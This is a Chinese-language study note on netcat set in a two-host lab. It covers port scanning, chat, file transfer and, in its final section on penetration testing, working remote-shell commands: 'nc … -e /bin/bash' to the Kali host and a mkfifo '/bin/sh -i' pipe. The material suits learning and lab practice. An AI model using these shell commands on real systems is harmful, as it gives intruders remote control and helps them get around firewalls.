netcat学习笔记

netcat:
相当于网络中的瑞士军刀,它所做的事情是在两台主机间建立连接并返回两个数据流。


主机A:192.168.12.130
主机B:192.168.12.131

一、端口扫描

扫描主机B开放端口:

 nc -zvn 192.168.12.131 1-999

参数:

-u 改变运行模式,默认为TCP,改为UDP
-z 适用于扫描,告诉netcat,连接成功后就关闭连接,不进行数据交换
-v 详细输出
-n 告诉netcat,我只需要对方的IP信息,不需要DNS信息

1.png

二、主机AB间实时通信

server:主机B(192.168.12.131)

 nc -l 1234

告诉netcat,在1234端口创建一个TCP服务器。所有标准的输入输出数据都会显示到当前shell上。

client:主机A(192.168.12.130)

 nc 192.168.12.131 1234

2.png
三、传输文件

Kali想给Ubuntu传输username.txt文件

Server:192.168.12.131(Ubuntu)

 nc -l 1234 > /home/sumor/文档/username.txt

Client:192.168.12.130(Kali)

 nc 192.168.12.131 1234 < /root/文档/username.txt

3.png

可以理解为,netcat作为一个中间件,我把文件交给netcat,netcat再传递给目标。箭头的指向来表示文件的传递方向,所以无论是Server还是Client,都可以灵活的将文件传递给对方。

四、反弹shell

渗透时,有时无法使用对方的telnet、ssh(对方未安装或权限不够等)

1、如果对方的netcat支持 -c -e 参数的话,可以获取对方的反向shell。

获取反向shell可以一定程度绕过防火墙,比如限制入站连接等。

此时是Server获取Client的shell:

Server:192.168.12.130(Kali)

 nc -l 1234

创建监听,守株待兔。

Client:192.168.12.131(Ubuntu)

 nc 192.168.12.130 1234 -e /bin/bash

告诉netcat,去连接192.168.12.130的1234端口,如果连接成功,就把自己的/bin/bash(shell)给对方。

2、netcat不支持-e -c 参数时

Server:192.168.12.131(Ubuntu)

 mkfifo /tmp/tmp_fifo
 cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/tmp_fifo

第一行,创建了一个FIFO文件(即管道,可以在进程间、Server和Client间交互数据而不用创建临时文件)

第二行,读取FIFO文件,然后用了管道命令,将FIFO的输入指向到/bin/sh,即shell上,2>&1中,&1是文件描述符,1表示标准输出,2表示标准错误,所以意思是将标准错误重定向到标准输出,因为前面已经将标准输出定向到了shell上,所以标准错误也会定向到shell。最后用管道命令,告诉netcat在1234端口上创建一个netcat服务器监听,并将获取到的传递过来的内容交给FIFO文件。形成了一个循环。

Client:192.168.12.130(Kali)

 nc 192.168.12.131 1234

4.png